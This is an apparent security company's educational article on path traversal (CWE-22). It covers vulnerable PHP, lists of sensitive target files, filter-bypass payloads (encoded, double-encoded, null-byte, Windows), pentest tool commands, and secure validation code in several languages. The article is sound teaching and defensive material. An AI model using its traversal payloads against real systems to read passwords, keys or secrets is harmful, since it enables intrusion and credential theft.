Path Traversal - Verzeichnisüberschreitung (Directory Traversal)
Path traversal (CWE-22, OWASP A01:2021) allows attackers to access files outside the permitted directory using ../ sequences. Objective: Reading sensitive fi...
Table of Contents (4 sections)
Summary: Path traversal (CWE-22, OWASP A01:2021) allows attackers to access files outside the permitted directory using ../ sequences. Objective: Reading sensitive files (/etc/passwd, web.config, .env, SSH keys); in the worst-case scenario, writing or executing files. Variants: URL-encoded traversal (%2e%2e%2f), double-encoded (%252e%252e%252f), null-byte injection (.php%00), Windows paths with backslash notation. Protection: absolute path validation with realpath(), allowlist-based file selection.
Path Traversal is one of the oldest and most persistent web vulnerabilities. Despite its long history, it regularly turns up in penetration tests—and in 2021, CVE-2021-41773 (Apache HTTP Server) made global headlines: a single %2e%2e/cgi-bin/ was enough to trigger remote code execution. The pattern is always the same: unvalidated user input flows directly into file system access.
Basic Principle
Normal file access:
https://example.com/download?file=report.pdf
→ Server: /var/www/uploads/report.pdf ← allowed
Path traversal attack:
https://example.com/download?file=../../../etc/passwd
→ Server: /var/www/uploads/../../../etc/passwd
= /etc/passwd ← outside the allowed directory!
Simple vulnerable implementation (PHP):
$file = $_GET['file'];
readfile('/var/www/uploads/' . $file); // ← NO protection!
Typical attack targets:
Linux:
→ /etc/passwd (user list)
→ /etc/shadow (password hashes, if as root)
→ /etc/hosts (network configuration)
→ ~/.ssh/id_rsa (SSH private key!)
→ /proc/self/environ (environment variables containing API keys!)
→ /proc/self/cmdline (process arguments)
Windows:
→ C:\Windows\win.ini (system information)
→ C:\Windows\System32\drivers\etc\hosts
→ C:\inetpub\wwwroot\web.config (database passwords!)
→ C:\Users\[user]\AppData\Local\Microsoft\Outlook\*.ost
Web applications:
→ .env (database passwords, API keys, secrets!)
→ config/database.yml (Rails)
→ WEB-INF/web.xml (Java)
→ ../../../wp-config.php (WordPress)
Bypass Techniques
Bypassing simple filters:
Filter 1: Replaces "../" with "" (non-recursive):
Bypass: "....//....//....//etc/passwd"
→ After replacement: "../../../etc/passwd"!
Filter 2: URL decoding only once:
Bypass: "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
→ Decoded: "../../../etc/passwd"
Filter 3: Slash is filtered:
Bypass: "%252e%252e%252fetc%252fpasswd" (double-encoded)
→ First decoding: "%2e%2e%2fetc%2fpasswd"
→ Second decoding: "../../../etc/passwd"
Filter 4: Expects .jpg at the end:
Bypass (Null byte, Legacy PHP < 5.3.4):
"../../../../etc/passwd%00.jpg"
→ PHP stops at null byte: reads /etc/passwd
→ .jpg check: filename ends with .jpg ← PASS!
Filter 5: Checks if path starts with "/uploads/":
Bypass: "/uploads/../../../../etc/passwd"
→ Starts with /uploads/ → PASS!
→ But contains path traversal!
Windows-specific bypasses:
Backslash: "..\..\..\..\Windows\win.ini"
URL-encoded: "..\"..\"..\"..\Windows\win.ini"
UNC paths: "\\server\share\file"
Drive letter: "C:\Windows\win.ini" (if absolute paths are accepted)
ZIP/archive-based path traversal (Zip Slip):
ZIP archive containing the entry "../../../evil.php"
→ When the application unpacks the ZIP: evil.php ends up OUTSIDE the target folder!
→ Known as "Zip Slip" (2018, Snyk)
→ Affects: Java, Python, Go, Ruby zip libraries (unpatched versions)
Detection in Penetration Testing
Systematic Testing:
1. Parameter Identification:
→ All parameters that indicate filenames/paths:
?file=, ?page=, ?path=, ?filename=, ?template=, ?doc=,
?view=, ?include=, ?load=, ?source=, ?content=, ?show=
2. Payload Progression (from simple to complex):
Level 1: Simple
?file=../../../etc/passwd
Level 2: URL-encoded
?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Level 3: Double-encoded
?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
Level 4: Null Byte (Legacy)
?file=../../../etc/passwd%00.pdf
Level 5: OS-specific
?file=..\..\..\Windows\win.ini (Windows)
3. Burp Suite Intruder:
→ Payload position: ?file=§value§
→ Payload list: SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
→ Grep Match: "root:x:", "[drivers]", "DB_PASSWORD"
4. Indicators of Success:
→ Response contains "/bin/bash" or "root:x:0:0:" → /etc/passwd
→ Response contains "[fonts]" → win.ini
→ Error message contains path information: "Failed to open /etc/..."
5. Automated Testing:
# Nuclei with LFI templates:
nuclei -u https://target.com -tags lfi
# dotdotpwn:
dotdotpwn -m http -h target.com -u "https://target.com/page?file=TRAVERSAL"
Mitigation Measures
Secure implementations by language:
PHP - realpath() for absolute path validation:
$base = realpath('/var/www/uploads');
$requested = realpath($base . '/' . $_GET['file']);
if ($requested === false ||
strpos($requested, $base) !== 0) {
die('Access denied');
}
// Only here: Read file
Why realpath() is correct:
→ Resolves all ../ (including URL-encoded ones after decoding)
→ Returns FALSE if file does not exist → Attack detectable
→ Comparison with $base: outside? → DENY!
Python - pathlib for secure path validation:
from pathlib import Path
BASE_DIR = Path('/var/www/uploads').resolve()
requested = (BASE_DIR / user_input).resolve()
try:
requested.relative_to(BASE_DIR) # Raises ValueError if outside!
except ValueError:
raise PermissionError('Access denied')
# Now secure:
content = requested.read_bytes()
Java - Path.normalize() + startsWith():
Path base = Paths.get("/uploads").toAbsolutePath().normalize();
Path requested = base.resolve(userInput).normalize();
if (!requested.startsWith(base)) {
throw new SecurityException("Path traversal detected");
}
Node.js - path.resolve() + startsWith():
const base = path.resolve('/uploads');
const requested = path.resolve(base, userInput);
if (!requested.startsWith(base + path.sep)) {
return res.status(403).send('Forbidden');
}
Whitelist approach (most secure):
// Instead of open paths: only allowed filenames
const ALLOWED_FILES = {
'manual': 'manual.pdf',
'report': 'q4-report.pdf',
};
const filename = ALLOWED_FILES[req.query.doc];
if (!filename) return res.status(400).send('Invalid document');
res.sendFile(path.join('/uploads', filename));
Operating system level:
□ Web server process with minimal privileges (no root!)
□ chroot jail or container isolation
□ AppArmor/SELinux profiles: Read access only to defined paths
□ WAF rules: Block "../" and encoding variants
□ Logging: Alert on file accesses to anomalous paths Questions about this topic?
Our experts advise you free of charge and without obligation.
About the Author
Geschäftsführender Gesellschafter der AWARE7 GmbH mit langjähriger Expertise in Informationssicherheit, Penetrationstesting und IT-Risikomanagement. Absolvent des Masterstudiengangs Internet-Sicherheit an der Westfälischen Hochschule (if(is), Prof. Norbert Pohlmann). Bestseller-Autor im Wiley-VCH Verlag und Lehrbeauftragter der ASW-Akademie. Einschätzungen zu Cybersecurity und digitaler Souveränität erschienen u.a. in Welt am Sonntag, WDR, Deutschlandfunk und Handelsblatt.
10 Publikationen
- Einsatz von elektronischer Verschlüsselung - Hemmnisse für die Wirtschaft (2018)
- Kompass IT-Verschlüsselung - Orientierungshilfen für KMU (2018)
- IT Security Day 2025 - Live Hacking: KI in der Cybersicherheit (2025)
- Live Hacking - Credential Stuffing: Finanzrisiken jenseits Ransomware (2025)
- Keynote: Live Hacking Show - Ein Blick in die Welt der Cyberkriminalität (2025)
- Analyse von Angriffsflächen bei Shared-Hosting-Anbietern (2024)
- Gänsehaut garantiert: Die schaurigsten Funde aus dem Leben eines Pentesters (2022)
- IT Security Zertifizierungen - CISSP, T.I.S.P. & Co (Live-Webinar) (2023)
- Sicherheitsforum Online-Banking - Live Hacking (2021)
- Nipster im Netz und das Ende der Kreidezeit (2017)